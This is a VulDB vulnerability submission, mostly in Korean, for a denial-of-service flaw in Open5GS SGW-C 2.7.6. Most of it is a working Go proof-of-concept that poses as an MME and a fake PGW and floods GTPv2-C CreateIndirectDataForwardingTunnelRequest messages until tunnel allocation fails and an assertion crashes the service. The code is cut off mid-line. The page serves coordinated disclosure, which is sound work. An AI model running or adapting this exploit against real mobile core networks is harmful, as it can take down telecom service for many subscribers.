제출 #741193: Open5gs SGWC v2.7.6 Denial of Service정보

제목Open5gs SGWC v2.7.6 Denial of Service
설명### Description SGW-C can be remotely crashed through a GTPv2-C sequence that forces excessive tunnel/PDR allocations until the PFCP PDR ID pool is exhausted. Using the provided PoC (acting as MME and optionally a fake PGW), the attacker first sends CreateSessionRequest with multiple bearer contexts, then repeatedly sends CreateIndirectDataForwardingTunnelRequest containing bearer contexts with s1_u_enodeb_f_teid (and optionally s12_rnc_f_teid) to drive additional tunnel-related allocations. Over repeated rounds, SGW-C eventually fails to allocate a new PDR ID (pdr_id_pool() failed), and immediately after that, sgwc_tunnel_add hits an assertion ogs_assert(pdr) (src/sgwc/context.c:699), causing a denial-of-service crash. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` // Vuln-PC1-09 PoC: Tunnel pool exhaustion triggers ogs_assert(tunnel) // Target: Open5GS SGW-C sgwc_tunnel_add (S11 interface) // Flow: // 1) Act as MME: send CreateSessionRequest (TEID=0) with multiple bearers. // 2) Act as PGW (local fake S5-C): respond to SGW-C's S5-C CreateSessionRequest. // 3) Read SGW S11 TEID from CreateSessionResponse (Sender F-TEID). // 4) Act as MME: send CreateIndirectDataForwardingTunnelRequest with bearer contexts // containing s1_u_enodeb_f_teid (and optional s12_rnc_f_teid). // 5) Repeat until tunnel pool exhausted -> ogs_assert(tunnel) at context.c:694. // // Notes: // - Fake PGW responder is optional but needed to get SGW S11 TEID quickly. // - Keep base bearers within 5..15 EBI range to avoid session replacement. package main import ( "errors" "flag" "fmt" "log" "net" "sync/atomic" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) const ( minEBI = 5 maxEBI = 15 maxBearersPerReq = 8 defaultBearerQoSGBR = 50000 ) var ( target = flag.String("target", "", "Target SGW-C IP (required)") port = flag.Int("port", 2123, "GTP-C port") numUEs = flag.Int("ues", 1, "Number of UEs to create") sessionsPerUE = flag.Int("sessions-per-ue", 1, "Sessions per UE") bearersPerSession = flag.Int("bearers", 4, "Bearers per session (1-4 recommended)") idfCount = flag.Int("idf-count", 0, "Number of CreateIndirectDataForwardingTunnelRequest rounds (0=auto)") includeS12 = flag.Bool("include-s12", true, "Include s12_rnc_f_teid to allocate 2 tunnels per bearer") delay = flag.Duration("delay", 20*time.Millisecond, "Delay between requests") idfDelay = flag.Duration("idf-delay", 5*time.Millisecond, "Delay between IDF tunnel requests") localIPFlag = flag.String("local-ip", "", "Local IP for MME simulation (auto if empty)") pgwIP = flag.String("pgw-ip", "10.44.44.4", "PGW S5/S8 GTP-C IP (required IE)") respTimeout = flag.Duration("resp-timeout", 1200*time.Millisecond, "Timeout to wait for CreateSessionResponse (for SGW S11 TEID)") fakePGW = flag.Bool("fake-pgw", false, "Start local S5-C fake PGW responder") fakePGWBind = flag.String("fake-pgw-bind", "", "Bind address for fake PGW (ip:port), default uses pgw-ip:port") fakePGWPAA = flag.String("fake-pgw-paa", "10.9.0.1", "PAA IPv4 address in fake PGW response") maxUE = flag.Int("max-ue", 50, "Configured global.max.ue (for pool sizing)") maxSessionsPerUE = flag.Int("max-sessions-per-ue", 4, "Configured OGS_MAX_NUM_OF_SESS") maxBearersPerSess = flag.Int("max-bearers-per-session", 4, "Configured OGS_MAX_NUM_OF_BEARER") strictEBI = flag.Bool("strict-ebi", true, "Keep EPS Bearer ID within 5..15") ) var ( fakePGWS5CTEID uint32 = 0x22000000 fakePGWS5UTEID uint32 = 0x33000000 ) type ueContext struct { imsi string sgwS11TEID uint32 ebis []uint8 } func main() { flag.Parse() if *target == "" { log.Fatal("--target is required") } ues := *numUEs sessions := *sessionsPerUE bearers := *bearersPerSession if ues < 1 { ues = 1 } if sessions < 1 { sessions = 1 } if bearers < 1 { bearers = 1 } if bearers > maxBearersPerReq { fmt.Printf("[!] bearers capped from %d to %d (OGS_BEARER_PER_UE)\n", bearers, maxBearersPerReq) bearers = maxBearersPerReq } if *strictEBI { maxSessionsByEBI := (maxEBI - minEBI + 1) / bearers if maxSessionsByEBI < 1 { maxSessionsByEBI = 1 } if sessions > maxSessionsByEBI { fmt.Printf("[!] sessions-per-ue capped from %d to %d to keep EPS Bearer IDs within 5..15\n", sessions, maxSessionsByEBI) sessions = maxSessionsByEBI } } poolSessions := *maxUE * *maxSessionsPerUE poolBearers := poolSessions * *maxBearersPerSess poolTunnels := poolBearers * 3 baseBearers := ues * sessions * bearers baseTunnels := baseBearers * 2 tunnelsPerBearer := 1 if *includeS12 { tunnelsPerBearer = 2 } tunnelsPerRound := ues * sessions * bearers * tunnelsPerBearer remaining := poolTunnels - baseTunnels idfRounds := *idfCount if idfRounds == 0 { if tunnelsPerRound <= 0 { idfRounds = 1 } else if remaining <= 0 { idfRounds = 1 } else { idfRounds = (remaining / tunnelsPerRound) + 2 } } fmt.Println("============================================") fmt.Println("Vuln-PC1-09 PoC: SGW-C Tunnel Pool Exhaustion") fmt.Println("============================================") fmt.Printf("[*] Target: %s:%d (S11)\n", *target, *port) fmt.Printf("[*] Pool sizing: max-ue=%d, max-sessions-per-ue=%d, max-bearers-per-session=%d\n", *maxUE, *maxSessionsPerUE, *maxBearersPerSess) fmt.Printf("[*] pool.sess=%d, pool.bearer=%d, pool.tunnel=%d\n", poolSessions, poolBearers, poolTunnels) fmt.Printf("[*] Base: %d UEs x %d sessions/UE x %d bearers/session -> %d bearers, %d tunnels\n", ues, sessions, bearers, baseBearers, baseTunnels) fmt.Printf("[*] IDF per round: %d tunnels (include-s12=%v)\n", tunnelsPerRound, *includeS12) fmt.Printf("[*] IDF rounds: %d\n", idfRounds) fmt.Println("[*] Trigger: ogs_assert(tunnel) in context.c:694") fmt.Println("============================================") if baseBearers > poolBearers { fmt.Printf("[!] WARNING: base bearers %d > pool.bearer %d (may assert in sgwc_bearer_add)\n", baseBearers, poolBearers) } conn, err := net.Dial("udp", fmt.Sprintf("%s:%d", *target, *port)) if err != nil { log.Fatalf("Failed to dial: %v", err) } defer conn.Close() localIP := *localIPFlag if localIP == "" { localIP = conn.LocalAddr().(*net.UDPAddr).IP.String() } fmt.Printf("[*] Local IP: %s\n", localIP) if *fakePGW { bindAddr := *fakePGWBind if bindAddr == "" { bindAddr = fmt.Sprintf("%s:%d", *pgwIP, *port) } fakeConn, err := startFakePGW(bindAddr, *pgwIP, *fakePGWPAA) if err != nil { log.Fatalf("Failed to start fake PGW responder: %v", err) } defer fakeConn.Close() fmt.Printf("[*] Fake PGW responder listening on %s\n", bindAddr) } apns := []string{"internet", "ims", "mms", "enterprise"} var seq uint32 = 1 successCSR := 0 ueContexts := make([]ueContext, 0, ues) for ue := 0; ue < ues; ue++ { imsi := fmt.Sprintf("00101%010d", ue) sgwS11TEID := uint32(0) ebis := make([]uint8, 0, sessions*bearers) for s := 0; s < sessions; s++ { baseEBI := minEBI + s*bearers if baseEBI+bearers-1 > maxEBI && *strictEBI { log.Printf("[!] IMSI %s: EBI range exceeds 15; stop creating sessions", imsi) break } headerTEID := uint32(0) if s > 0 { if sgwS11TEID == 0 { log.Printf("[!] IMSI %s: missing SGW S11 TEID, skip extra sessions", imsi) break } headerTEID = sgwS11TEID } mmeTEID := uint32(0x11000000 + ue*1000 + s) apn := apns[s%len(apns)] csr := buildCSR(seq, headerTEID, imsi, mmeTEID, localIP, *pgwIP, apn, baseEBI, bearers) payload, err := csr.Marshal() if err != nil { log.Printf("[!] Marshal CSR error: %v", err) continue } if _, err := conn.Write(payload); err != nil { log.Printf("[!] Send CSR error: %v", err) goto done } successCSR++ seq++ for b := 0; b < bearers; b++ { ebis = append(ebis, uint8(baseEBI+b)) } if s == 0 { rsp, err := waitForCreateSessionResponse(conn, *respTimeout, mmeTEID) if err != nil { log.Printf("[!] IMSI %s: CreateSessionResponse not received: %v", imsi, err) } else { sgwS11TEID, err = extractSGWS11TEID(rsp) if err != nil { log.Printf("[!] IMSI %s: failed to extract SGW S11 TEID: %v", imsi, err) } else { log.Printf("[*] IMSI %s: SGW S11 TEID=0x%x", imsi, sgwS11TEID) } } } if *delay > 0 { time.Sleep(*delay) } } ueContexts = append(ueContexts, ueContext{imsi: imsi, sgwS11TEID: sgwS11TEID, ebis: ebis}) } fmt.Printf("[*] Sent %d CreateSessionRequests\n", successCSR) fmt.Println("[*] Starting CreateIndirectDataForwardingTunnelRequest flood...") for round := 0; round < idfRounds; round++ { for _, ue := range ueContexts { if ue.sgwS11TEID == 0 || len(ue.ebis) == 0 { continue } msg := buildIDFTR(seq, ue.sgwS11TEID, ue.ebis, localIP, *includeS12) payload, err := msg.Marshal() if err != nil { log.Printf("[!] Marshal IDF error: %v", err) continue } if _, err := conn.Write(payload); err != nil { log.Printf("[!] Send IDF error: %v", err) goto done } seq++ } if (round+1)%10 == 0 { fmt.Printf("[*] Sent %d IDF rounds...\n", round+1) } if *idfDelay > 0 { time.Sleep(*idfDelay) } } done: fmt.Println("============================================") f
원천⚠️ https://github.com/open5gs/open5gs/issues/4261
사용자
 ZiyuLin (UID 93568)
제출2026. 01. 17. AM 03:09 (3 개월 ago)
모더레이션2026. 02. 01. AM 08:45 (15 days later)
상태수락
VulDB 항목343637 [Open5GS 까지 2.7.6 SGWC /src/sgwc/context.c sgwc_tunnel_add pdr 서비스 거부]
포인트들20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!